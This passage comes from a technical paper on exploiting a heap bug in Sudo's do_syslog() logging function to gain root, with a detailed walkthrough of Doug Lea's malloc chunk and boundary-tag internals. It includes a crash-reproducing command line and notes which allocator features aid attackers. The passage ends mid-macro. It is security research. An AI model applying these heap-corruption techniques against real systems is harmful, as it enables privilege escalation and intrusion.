‑‑‑‑‑‑[ 2.1.1 ‑ The vulnerable function ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The vulnerable function, do_syslog(), can be found in the logging.c file of the Sudo tarball. It is called by two other functions, log_auth() and log_error(), in order to syslog allow/deny and error messages. If the message is longer than MAXSYSLOGLEN (960) characters, do_syslog() splits it into parts, breaking up the line into what will fit on one syslog line (at most MAXSYSLOGLEN characters) and trying to break on a word boundary if possible (words are delimited by SPACE characters here).

/*

* Log a message to syslog, pre‑pending the username and splitting the * message into parts if it is longer than MAXSYSLOGLEN.

*/

static void do_syslog( int pri, char * msg )

{

int count;

char * p;

char * tmp;

char save;

/*

* Log the full line, breaking into multiple syslog(3) calls if * necessary

*/

[1] for ( p=msg, count=0; count < strlen(msg)/MAXSYSLOGLEN + 1; count++ ) { [2] if ( strlen(p) > MAXSYSLOGLEN ) {

/*

* Break up the line into what will fit on one syslog(3) line * Try to break on a word boundary if possible. */

[3] for ( tmp = p + MAXSYSLOGLEN; tmp > p && *tmp != ' '; tmp‑‑ ) ;

if ( tmp <= p )

[4] tmp = p + MAXSYSLOGLEN;

/* NULL terminate line, but save the char to restore later */

save = *tmp;

[5] *tmp = '\0';

if ( count == 0 )

SYSLOG( pri, "%8.8s : %s", user_name, p ); else

SYSLOG( pri,"%8.8s : (command continued) %s",user_name,p );

/* restore saved character */

[6] *tmp = save;

/* Eliminate leading whitespace */

[7] for ( p = tmp; *p != ' '; p++ )

;

[8] } else {

if ( count == 0 )

SYSLOG( pri, "%8.8s : %s", user_name, p ); else

SYSLOG( pri,"%8.8s : (command continued) %s",user_name,p ); }

}

}

‑‑‑‑‑‑[ 2.1.2 ‑ The segmentation violation ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Chris Wilson discovered that long command line arguments cause Sudo to crash during the do_syslog() operation:

$ /usr/bin/sudo /bin/false `/usr/bin/perl ‑e 'print "A" x 31337'` Password:

maxx is not in the sudoers file. This incident will be reported. Segmentation fault

Indeed, the loop[7] does not check for NUL characters and therefore pushes p way after the end of the NUL terminated character string msg (created by log_auth() or log_error() via easprintf(), a wrapper to vasprintf(3)). When p reaches the end of the heap (msg is of course located in the heap since vasprintf(3) relies on malloc(3) and realloc(3) to allocate dynamic memory) Sudo eventually dies on line[7] with a segmentation violation after an out of‑bounds read operation.

This segmentation fault occurs only when long command line arguments are passed to Sudo because the loop[7] has to be run many times in order to reach the end of the heap (there could indeed be many SPACE characters, which force do_syslog() to leave the loop[7], after the end of the msg buffer but before the end of the heap). Consequently, the length of the msg string has to be many times MAXSYSLOGLEN because the loop[1] runs as long as count does not reach (strlen(msg)/MAXSYSLOGLEN + 1).

‑‑‑‑[ 2.2 ‑ An unreal exploit ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Dying after an illegal read operation is one thing, being able to perform an illegal write operation in order to gain root privileges is another. Unfortunately do_syslog() alters the heap at two places only: line[5] and line[6]. If do_syslog() erroneously overwrites a character at line[5], it has to be exploited during one of the syslog(3) calls between line[5] and line[6], because the erroneously overwritten character is immediately restored at line[6].

Since msg was allocated in the heap via malloc(3) and realloc(3), there is an interesting structure stored just after the end of the msg buffer, maintained internally by malloc: a so‑called boundary tag. If syslog(3) uses one of the malloc functions (calloc(3), malloc(3), free(3) or realloc(3)) and if the Sudo exploit corrupts that boundary tag during the execution of do_syslog(), evil things could happen. But does syslog(3) actually call malloc functions?

$ /usr/bin/sudo /bin/false `/usr/bin/perl ‑e 'print "A" x 1337'` [...]

malloc( 100 ): 0x08068120;

malloc( 300 ): 0x08060de0;

free( 0x08068120 );

malloc( 700 ): 0x08060f10;

free( 0x08060de0 );

malloc( 1500 ): 0x080623b0;

free( 0x08060f10 );

realloc( 0x080623b0, 1420 ): 0x080623b0;

[...]

malloc( 192 ): 0x08062940;

malloc( 8192 ): 0x080681c8;

realloc( 0x080681c8, 119 ): 0x080681c8;

free( 0x08062940 );

free( 0x080681c8 );

[...]

The first series of malloc calls was performed by log_auth() in order to allocate memory for the msg buffer, but the second series of malloc calls was performed... by syslog(3). Maybe the Sudo exploit is not that unreal after all.

‑‑‑‑[ 2.3 ‑ Corrupting the heap ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

However, is it really possible to alter a given byte of the boundary tag located after the msg buffer (or more generally to overwrite at line[5] an arbitrary character (after the end of msg) with a NUL byte)? If the Sudo exploit exclusively relies on the content of the msg buffer (which is fortunately composed of various user‑supplied strings (current working directory, sudo command, and so on)), the answer is no. This assertion is demonstrated below.

The character overwritten at line[5] by a NUL byte is pointed to by tmp:

‑ tmp comes from loop[3] if there is a SPACE character among the first MAXSYSLOGLEN bytes after p. tmp then points to the first SPACE character encountered when looping from (p + MAXSYSLOGLEN) down to p.

‑‑ If the overwritten SPACE character is located within the msg buffer, there is no heap corruption at all because the write operation is not an illegal one.

‑‑ If this first encountered SPACE character is located outside the msg buffer, the Sudo exploit cannot control its exact position if it solely relies on the content of the msg buffer, and thus cannot control where the NUL byte is written.

‑ tmp comes from line[4] if there is no SPACE character among the first MAXSYSLOGLEN bytes after p. tmp is then equal to (p + MAXSYSLOGLEN).

‑‑ If p and tmp are both located within the msg buffer, there is no possible memory corruption, because overwriting the tmp character located within a buffer returned by malloc is a perfectly legal action.

‑‑ If p is located within the msg buffer and tmp is located outside the msg buffer... this is impossible because the NUL terminator at the end of the msg buffer, placed between p and tmp, prevents do_syslog() from successfully passing the test[2] (and the code at line[8] is not interesting because it performs no write operation).

Moreover, if the test[2] fails once it will always fail, because p will never be modifed again and strlen(p) will therefore stay less than or equal to MAXSYSLOGLEN, forcing do_syslog() to run the code at line[8] again and again, as long as count does not reach (strlen(msg)/MAXSYSLOGLEN + 1).

‑‑ If p and tmp are both located outside the msg buffer, p points to the first SPACE character encountered after the end of the msg string because it was pushed outside the msg buffer by the loop[7]. If the Sudo exploit exclusively relies on the content of the msg buffer, it cannot control p because it cannot control the occurrence of SPACE characters after the end of the msg string. Consequently, it cannot control tmp, which points to the place where the NUL byte is written, because tmp depends on p.

Moreover, after p was pushed outside the msg buffer by the loop[7], there should be no NUL character between p and (p + MAXSYSLOGLEN) in order to successfully pass the test[2]. The Sudo exploit should once again rely on the content of the memory after msg.

‑‑‑‑[ 2.4 ‑ Temporary conclusion ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The Sudo exploit should:

‑ overwrite a byte of the boundary tag located after the msg buffer with the NUL byte... it should therefore control the content of the memory after msg (managed by malloc) because, as proven in 2.3, the control of the msg buffer itself is not sufficient;

‑ take advantage of the erroneously overwritten byte before it is restored... one of the malloc calls performed by syslog(3) should therefore read the corrupted boundary tag and further alter the usual execution of Sudo.

But in order to be able to perform these tasks, an in depth knowledge of how malloc works internally is needed.

‑‑[ 3 ‑ Doug Lea's Malloc ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Doug Lea's Malloc (or dlmalloc for short) is the memory allocator used by the GNU C Library (available in the malloc directory of the library source tree). It manages the heap and therefore provides the calloc(3), malloc(3), free(3) and realloc(3) functions which allocate and free dynamic memory.

The description below focuses on the aspects of dlmalloc needed to successfully corrupt the heap and subsequently exploit one of the malloc calls in order to execute arbitrary code. A more complete description is available in the GNU C Library source tree and at the following addresses:

ftp://gee.cs.oswego.edu/pub/misc/malloc.c

http://gee.cs.oswego.edu/dl/html/malloc.html

‑‑‑‑[ 3.1 ‑ A memory allocator ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

"This is not the fastest, most space‑conserving, most portable, or most tunable malloc ever written. However it is among the fastest while also being among the most space‑conserving, portable and tunable. Consistent balance across these factors results in a good general‑purpose allocator for malloc‑intensive programs."

‑‑‑‑‑‑[ 3.1.1 ‑ Goals ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The main design goals for this allocator are maximizing compatibility, maximizing portability, minimizing space, minimizing time, maximizing tunability, maximizing locality, maximizing error detection, minimizing anomalies. Some of these design goals are critical when it comes to damaging the heap and exploiting malloc calls afterwards:

‑ Maximizing portability: "conformance to all known system constraints on alignment and addressing rules." As detailed in 3.2.2 and 3.3.2, 8 byte alignment is currently hardwired into the design of dlmalloc. This is one of the main characteristics to permanently keep in mind.

‑ Minimizing space: "The allocator [...] should maintain memory in ways that minimize fragmentation ‑‑ holes in contiguous chunks of memory that are not used by the program." But holes are sometimes needed in order to successfully attack programs which corrupt the heap (Sudo for example).

‑ Maximizing tunability: "Optional features and behavior should be controllable by users". Environment variables like MALLOC_TOP_PAD_ alter the functioning of dlmalloc and could therefore aid in exploiting malloc calls. Unfortunately they are not loaded when a SUID or SGID program is run.

‑ Maximizing locality: "Allocating chunks of memory that are typically used together near each other." The Sudo exploit for example heavily relies on this feature to reliably create holes in the memory managed by dlmalloc.

‑ Maximizing error detection: "allocators should provide some means for detecting corruption due to overwriting memory, multiple frees, and so on." Luckily for the attacker who smashes the heap in order to execute arbitrary code, the GNU C Library does not activate these error detection mechanisms (the MALLOC_DEBUG compile‑time option and the malloc debugging hooks (__malloc_hook, __free_hook, etc)) by default.

‑‑‑‑‑‑[ 3.1.2 ‑ Algorithms ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

"While coalescing via boundary tags and best‑fit via binning represent the main ideas of the algorithm, further considerations lead to a number of heuristic improvements. They include locality preservation, wilderness preservation, memory mapping".

‑‑‑‑‑‑‑‑[ 3.1.2.1 ‑ Boundary tags ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The chunks of memory managed by Doug Lea's Malloc "carry around with them size information fields both before and after the chunk. This allows for two important capabilities:

‑ Two bordering unused chunks can be coalesced into one larger chunk. This minimizes the number of unusable small chunks.

‑ All chunks can be traversed starting from any known chunk in either a forward or backward direction."

The presence of such a boundary tag (the structure holding the said information fields, detailed in 3.3) between each chunk of memory comes as a godsend to the attacker who tries to exploit heap mismanagement. Indeed, boundary tags are control structures located in the very middle of a potentially corruptible memory area (the heap), and if the attacker manages to trick dlmalloc into processing a carefully crafted fake (or altered) boundary tag, they should be able to eventually execute arbitrary code.

For example, the attacker could overflow a buffer dynamically allocated by malloc(3) and overwrite the next contiguous boundary tag (Netscape browsers exploit), or underflow such a buffer and overwrite the boundary tag stored just before (Secure Locate exploit), or cause the vulnerable program to perform an incorrect free(3) call (LBNL traceroute exploit) or multiple frees, or overwrite a single byte of a boundary tag with a NUL byte (Sudo exploit), and so on:

http://www.openwall.com/advisories/OW‑002‑netscape‑jpeg.txt

ftp://maxx.via.ecp.fr/dislocate/

http://www.synnergy.net/downloads/exploits/traceroute‑exp.txt

ftp://maxx.via.ecp.fr/traceroot/

‑‑‑‑‑‑‑‑[ 3.1.2.2 ‑ Binning ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

"Available chunks are maintained in bins, grouped by size." Depending on its size, a free chunk is stored by dlmalloc in the bin corresponding to the correct size range (bins are detailed in 3.4):

‑ if the size of the chunk is 200 bytes for example, it is stored in the bin that holds the free chunks whose size is exactly 200 bytes;

‑ if the size of the chunk is 1504 bytes, it is stored in the bin that holds the free chunks whose size is greater than or equal to 1472 bytes but less than 1536;

‑ if the size of the chunk is 16392 bytes, it is stored in the bin that holds the free chunks whose size is greater than or equal to 16384 bytes but less than 20480;

‑ and so on (how these ranges are computed and how the correct bin is chosen is detailed in 3.4.1).

"Searches for available chunks are processed in smallest‑first, best‑fit order. [...] Until the versions released in 1995, chunks were left unsorted within bins, so that the best‑fit strategy was only approximate. More recent versions instead sort chunks by size within bins, with ties broken by an oldest‑first rule."

These algorithms are implemented via the chunk_alloc() function (called by malloc(3) for example) and the frontlink() macro, detailed in 3.5.1 and 3.4.2.

‑‑‑‑‑‑‑‑[ 3.1.2.3 ‑ Locality preservation ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

"In the current version of malloc, a version of next‑fit is used only in a restricted context that maintains locality in those cases where it conflicts the least with other goals: If a chunk of the exact desired size is not available, the most recently split‑off space is used (and resplit) if it is big enough; otherwise best‑fit is used."

This characteristic, implemented within the chunk_alloc() function, proved to be essential to the Sudo exploit. Thanks to this feature, the exploit could channel a whole series of malloc(3) calls within a particular free memory area, and could therefore protect another free memory area that had to remain untouched (and would otherwise have been allocated during the best‑fit step of the malloc algorithm).

‑‑‑‑‑‑‑‑[ 3.1.2.4 ‑ Wilderness preservation ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

"The wilderness (so named by Kiem‑Phong Vo) chunk represents the space bordering the topmost address allocated from the system. Because it is at the border, it is the only chunk that can be arbitrarily extended (via sbrk in Unix) to be bigger than it is (unless of course sbrk fails because all memory has been exhausted).

One way to deal with the wilderness chunk is to handle it about the same way as any other chunk. [...] A better strategy is currently used: treat the wilderness chunk as bigger than all others, since it can be made so (up to system limitations) and use it as such in a best‑first scan. This results in the wilderness chunk always being used only if no other chunk exists, further avoiding preventable fragmentation."

The wilderness chunk is one of the most dangerous opponents of the attacker who tries to exploit heap mismanagement. Because this chunk of memory is handled specially by the dlmalloc internal routines (as detailed in 3.5), the attacker will rarely be able to execute arbitrary code if they solely corrupt the boundary tag associated with the wilderness chunk.

‑‑‑‑‑‑‑‑[ 3.1.2.5 ‑ Memory mapping ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

"In addition to extending general‑purpose allocation regions via sbrk, most versions of Unix support system calls such as mmap that allocate a separate non‑contiguous region of memory for use by a program. This provides a second option within malloc for satisfying a memory request. [...] the current version of malloc relies on mmap only if (1) the request is greater than a (dynamically adjustable) threshold size (currently by default 1MB) and (2) the space requested is not already available in the existing arena so would have to be obtained via sbrk."

For these two reasons, and because the environment variables that alter the behavior of the memory mapping mechanism (MALLOC_MMAP_THRESHOLD_ and MALLOC_MMAP_MAX_) are not loaded when a SUID or SGID program is run, a perfect knowledge of how the memory mapping feature works is not mandatory when abusing malloc calls. However, it will be discussed briefly in 3.3.4 and 3.5.

‑‑‑‑[ 3.2 ‑ Chunks of memory ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The heap is divided by Doug Lea's Malloc into contiguous chunks of memory. The heap layout evolves when malloc functions are called (chunks may get allocated, freed, split, coalesced) but all procedures maintain the invariant that no free chunk physically borders another one (two bordering unused chunks are always coalesced into one larger chunk).

‑‑‑‑‑‑[ 3.2.1 ‑ Synopsis of public routines ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The chunks of memory managed by dlmalloc are allocated and freed via four main public routines:

‑ "malloc(size_t n); Return a pointer to a newly allocated chunk of at least n bytes, or null if no space is available."

The malloc(3) routine relies on the internal chunk_alloc() function mentioned in 3.1.2 and detailed in 3.5.1.

‑ "free(Void_t* p); Release the chunk of memory pointed to by p, or no effect if p is null."

The free(3) routine depends on the internal function chunk_free() presented in 3.5.2.

‑ "realloc(Void_t* p, size_t n); Return a pointer to a chunk of size n that contains the same data as does chunk p up to the minimum of (n, p's size) bytes, or null if no space is available. The returned pointer may or may not be the same as p. If p is null, equivalent to malloc. Unless the #define REALLOC_ZERO_BYTES_FREES below is set, realloc with a size argument of zero (re)allocates a minimum‑sized chunk."

realloc(3) calls the internal function chunk_realloc() (detailed in 3.5.3) that once again relies on chunk_alloc() and chunk_free(). As a side note, the GNU C Library defines REALLOC_ZERO_BYTES_FREES, so that realloc with a size argument of zero frees the allocated chunk p.

‑ "calloc(size_t unit, size_t quantity); Returns a pointer to quantity * unit bytes, with all locations set to zero."

calloc(3) behaves like malloc(3) (it calls chunk_alloc() in the very same manner) except that calloc(3) zeroes out the allocated chunk before it is returned to the user. calloc(3) is therefore not discussed in the present paper.

‑‑‑‑‑‑[ 3.2.2 ‑ Vital statistics ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

When a user calls dlmalloc in order to allocate dynamic memory, the effective size of the chunk allocated (the number of bytes actually isolated in the heap) is never equal to the size requested by the user. This overhead is the result of the presence of boundary tags before and after the buffer returned to the user, and the result of the 8 byte alignment mentioned in 3.1.1.

‑ Alignment:

Since the size of a chunk is always a multiple of 8 bytes (how the effective size of a chunk is computed is detailed in 3.3.2) and since the very first chunk in the heap is 8 byte aligned, the chunks of memory returned to the user (and the associated boundary tags) are always aligned on addresses that are multiples of 8 bytes.

‑ Minimum overhead per allocated chunk:

Each allocated chunk has a hidden overhead of (at least) 4 bytes. The integer composed of these 4 bytes, a field of the boundary tag associated with each chunk, holds size and status information, and is detailed in 3.3.4.

‑ Minimum allocated size:

When malloc(3) is called with a size argument of zero, Doug Lea's Malloc actually allocates 16 bytes in the heap (the minimum allocated size, the size of a boundary tag).

‑‑‑‑‑‑[ 3.2.3 ‑ Available chunks ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Available chunks are kept in any of several places (all declared below):

‑ the bins (mentioned in 3.1.2.2 and detailed in 3.4) exclusively hold free chunks of memory;

‑ the top‑most available chunk (the wilderness chunk presented in 3.1.2.4) is always free and never included in any bin;

‑ the remainder of the most recently split (non‑top) chunk is always free and never included in any bin.

‑‑‑‑[ 3.3 ‑ Boundary tags ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑‑‑[ 3.3.1 ‑ Structure ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

#define INTERNAL_SIZE_T size_t

struct malloc_chunk {

INTERNAL_SIZE_T prev_size;

INTERNAL_SIZE_T size;

struct malloc_chunk * fd;

struct malloc_chunk * bk;

};

This structure, stored in front of each chunk of memory managed by Doug Lea's Malloc, is a representation of the boundary tags presented in 3.1.2.1. The way its fields are used depends on whether the associated chunk is free or not, and whether the previous chunk is free or not.

‑ An allocated chunk looks like this:

chunk ‑> +‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑

| prev_size: size of the previous chunk, in bytes (used | | by dlmalloc only if this previous chunk is free) |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| size: size of the chunk (the number of bytes between | | "chunk" and "nextchunk") and 2 bits status information |

mem ‑> +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| fd: not used by dlmalloc because "chunk" is allocated | | (user data therefore starts here) |

+ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

| bk: not used by dlmalloc because "chunk" is allocated |

| (there may be user data here) |

+ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

|

.

. user data (may be 0 bytes long) .

.

.

nextchunk ‑> + + + + + + + + + + + + + + + + + +

| prev_size: not used by dlmalloc because "chunk" is | | allocated (may hold user data, to decrease wastage) |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

"chunk" is the front of the chunk (and therefore the front of the associated boundary tag) for the purpose of most of the dlmalloc code, "nextchunk" is the beginning of the next contiguous chunk, and "mem" is the pointer that is returned to the user (by malloc(3) or realloc(3) for example).

The conversion from malloc headers ("chunk") to user pointers ("mem"), and back, is performed by two macros, chunk2mem() and mem2chunk(). They simply add or subtract 8 bytes (the size of the prev_size and size fields that separate "mem" from "chunk"):

#define Void_t void

#define SIZE_SZ sizeof(INTERNAL_SIZE_T)

typedef struct malloc_chunk * mchunkptr;

#define chunk2mem( p ) \

( (Void_t *)((char *)(p) + 2*SIZE_SZ) )

#define mem2chunk( mem ) \

( (mchunkptr)((char *)(mem) ‑ 2*SIZE_SZ) )

Although a user should never utilize more bytes than they requested, the number of bytes reserved for the user by Doug Lea's Malloc may actually be greater than the amount of requested dynamic memory (because of the 8 byte alignment). As a matter of fact, the memory area where the user could store data without corrupting the heap starts at "mem" and ends at (but includes) the prev_size field of "nextchunk" (indeed, this prev_size field is not used by dlmalloc (since "chunk" is allocated) and may thence hold user data, in order to decrease wastage), and is therefore (("nextchunk" + 4) ‑ "mem") bytes long (the 4 additional bytes correspond to the size of this trailing prev_size field).

But the size of this memory area, (("nextchunk" + 4) ‑ "mem"), is also equal to (("nextchunk" + 4) ‑ ("chunk" + 8)), which is of course equal to (("nextchunk" ‑ "chunk") ‑ 4). Since ("nextchunk" ‑ "chunk") is the effective size of "chunk", the size of the memory area where the user could store data without corrupting the heap is equal to the effective size of the chunk minus 4 bytes.

‑ Free chunks are stored in circular doubly‑linked lists (described in 3.4.2) and look like this:

chunk ‑> +‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑

| prev_size: may hold user data (indeed, since "chunk" is | | free, the previous chunk is necessarily allocated) |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| size: size of the chunk (the number of bytes between | | "chunk" and "nextchunk") and 2 bits status information |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| fd: forward pointer to the next chunk in the circular | | doubly‑linked list (not to the next _physical_ chunk) |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| bk: back pointer to the previous chunk in the circular | | doubly‑linked list (not the previous _physical_ chunk) |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|

.

. unused space (may be 0 bytes long) .

.

.

nextchunk ‑> +‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑

| prev_size: size of "chunk", in bytes (used by dlmalloc | | because this previous chunk is free) |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑‑‑[ 3.3.2 ‑ Size of a chunk ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

When a user requests req bytes of dynamic memory (via malloc(3) or realloc(3) for example), dlmalloc first calls request2size() in order to convert req to a usable size nb (the effective size of the allocated chunk of memory, including overhead). The request2size() macro could just add 8 bytes (the size of the prev_size and size fields stored in front of the allocated chunk) to req and therefore look like this:

#define request2size( req, nb ) \

( nb = (req) + SIZE_SZ + SIZE_SZ )

But this first version of request2size() is not optimal because it does not take into account the fact that the prev_size field of the next contiguous chunk can hold user data. The request2size() macro should therefore subtract 4 bytes (the size of this trailing prev_size field) from the previous result:

#define request2size( req, nb ) \

( nb = ((req) + SIZE_SZ + SIZE_SZ) ‑ SIZE_SZ )

This macro is of course equivalent to:

#define request2size( req, nb ) \

( nb = (req) + SIZE_SZ )

Unfortunately this request2size() macro is not correct, because as mentioned in 3.2.2, the size of a chunk should always be a multiple of 8 bytes. request2size() should therefore return the first multiple of 8 bytes greater than or equal to ((req) + SIZE_SZ):

#define MALLOC_ALIGNMENT ( SIZE_SZ + SIZE_SZ )

#define MALLOC_ALIGN_MASK ( MALLOC_ALIGNMENT ‑ 1 )

#define request2size( req, nb ) \

( nb = (((req) + SIZE_SZ) + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK )

The request2size() function implemented in the Sudo exploit is alike but returns MINSIZE if the theoretic effective size of the chunk is less than MINSIZE bytes (the minimum allocatable size):

#define MINSIZE sizeof(struct malloc_chunk)

size_t request2size( size_t req )

{

size_t nb;

nb = req + ( SIZE_SZ + MALLOC_ALIGN_MASK );

if ( nb < (MINSIZE + MALLOC_ALIGN_MASK) ) {

nb = MINSIZE;

} else {

nb &= ~MALLOC_ALIGN_MASK;

}

return( nb );

}

Finally, the request2size() macro implemented in Doug Lea's Malloc works likewise but adds an integer overflow detection:

#define request2size(req, nb) \

((nb = (req) + (SIZE_SZ + MALLOC_ALIGN_MASK)),\

((long)nb <= 0 || nb < (INTERNAL_SIZE_T) (req) \

? (__set_errno (ENOMEM), 1) \

: ((nb < (MINSIZE + MALLOC_ALIGN_MASK) \

? (nb = MINSIZE) : (nb &= ~MALLOC_ALIGN_MASK)), 0)))

‑‑‑‑‑‑[ 3.3.3 ‑ prev_size field ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

If the chunk of memory located immediately before a chunk p is allocated (how dlmalloc determines whether this previous chunk is allocated or not is detailed in 3.3.4), the 4 bytes corresponding to the prev_size field of the chunk p are not used by dlmalloc and may therefore hold user data (in order to decrease wastage).

But if the chunk of memory located immediately before the chunk p is free, the prev_size field of the chunk p is used by dlmalloc and holds the size of that previous free chunk. Given a pointer to the chunk p, the address of the previous chunk can therefore be computed, thanks to the prev_chunk() macro:

#define prev_chunk( p ) \

( (mchunkptr)(((char *)(p)) ‑ ((p)‑>prev_size)) )

‑‑‑‑‑‑[ 3.3.4 ‑ size field ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The size field of a boundary tag holds the effective size (in bytes) of the associated chunk of memory and additional status information. This status information is stored within the 2 least significant bits, which would otherwise be unused (because as detailed in 3.3.2, the size of a chunk is always a multiple of 8 bytes, and the 3 least significant bits of a size field would therefore always be equal to 0).

The low‑order bit of the size field holds the PREV_INUSE bit and the second‑lowest‑order bit holds the IS_MMAPPED bit:

#define PREV_INUSE 0x1

#define IS_MMAPPED 0x2

In order to extract the effective size of a chunk p from its size field, dlmalloc therefore needs to mask these two status bits, and uses the chunksize() macro for this purpose:

#define SIZE_BITS ( PREV_INUSE | IS_MMAPPED )

#define chunksize( p ) \

( (p)‑>size & ~(SIZE_BITS) )

‑ If the IS_MMAPPED bit is set, the associated chunk was allocated via the memory mapping mechanism described in 3.1.2.5. In order to determine whether a chunk of memory p was allocated via this mechanism or not, Doug Lea's Malloc calls chunk_is_mmapped():

#define chunk_is_mmapped( p ) \

( (p)‑>size & IS_MMAPPED )

‑ If the PREV_INUSE bit of a chunk p is set, the physical chunk of memory located immediately before p is allocated, and the prev_size field of the chunk p may therefore hold user data. But if the PREV_INUSE bit is clear, the physical chunk of memory before p is free, and the prev_size field of the chunk p is therefore used by dlmalloc and contains the size of that previous physical chunk.

Doug Lea's Malloc uses the macro prev_inuse() in order to determine whether the physical chunk located immediately before a chunk of memory p is allocated or not:

#define prev_inuse( p ) \

( (p)‑>size & PREV_INUSE )

But in order to determine whether the chunk p itself is in use or not, dlmalloc has to extract the PREV_INUSE bit of the next contiguous chunk of memory:

#define inuse( p ) \

(((mchunkptr)((char*)(p)+((p)‑>size&~PREV_INUSE)))‑>size&PREV_INUSE)

‑‑‑‑[ 3.4 ‑ Bins ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

"Available chunks are maintained in bins, grouped by size", as mentioned in 3.1.2.2 and 3.2.3. The two exceptions are the remainder of the most recently split (non‑top) chunk of memory and the top‑most available chunk (the wilderness chunk) which are treated specially and never included in any bin.

‑‑‑‑‑‑[ 3.4.1 ‑ Indexing into bins ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

There are a lot of these bins (128), and depending on its size (its effective size, not the size requested by the user) a free chunk of memory is stored by dlmalloc in the bin corresponding to the right size range. In order to find out the index of this bin (the 128 bins are indeed stored in an array of bins), dlmalloc calls the macros smallbin_index() and bin_index().

#define smallbin_index( sz ) \

( ((unsigned long)(sz)) >> 3 )

Doug Lea's Malloc considers the chunks whose size is less than 512 bytes to be small chunks, and stores these chunks in one of the 62 so‑called small bins. Each small bin holds identically sized chunks, and because the minimum allocated size is 16 bytes and the size of a chunk is always a multiple of 8 bytes, the first small bin holds the 16 bytes chunks, the second one the 24 bytes chunks, the third one the 32 bytes chunks, and so on, and the last one holds the 504 bytes chunks. The index of the bin corresponding to the size sz of a small chunk is therefore (sz / 8), as implemented in the smallbin_index() macro.

#define bin_index(sz)

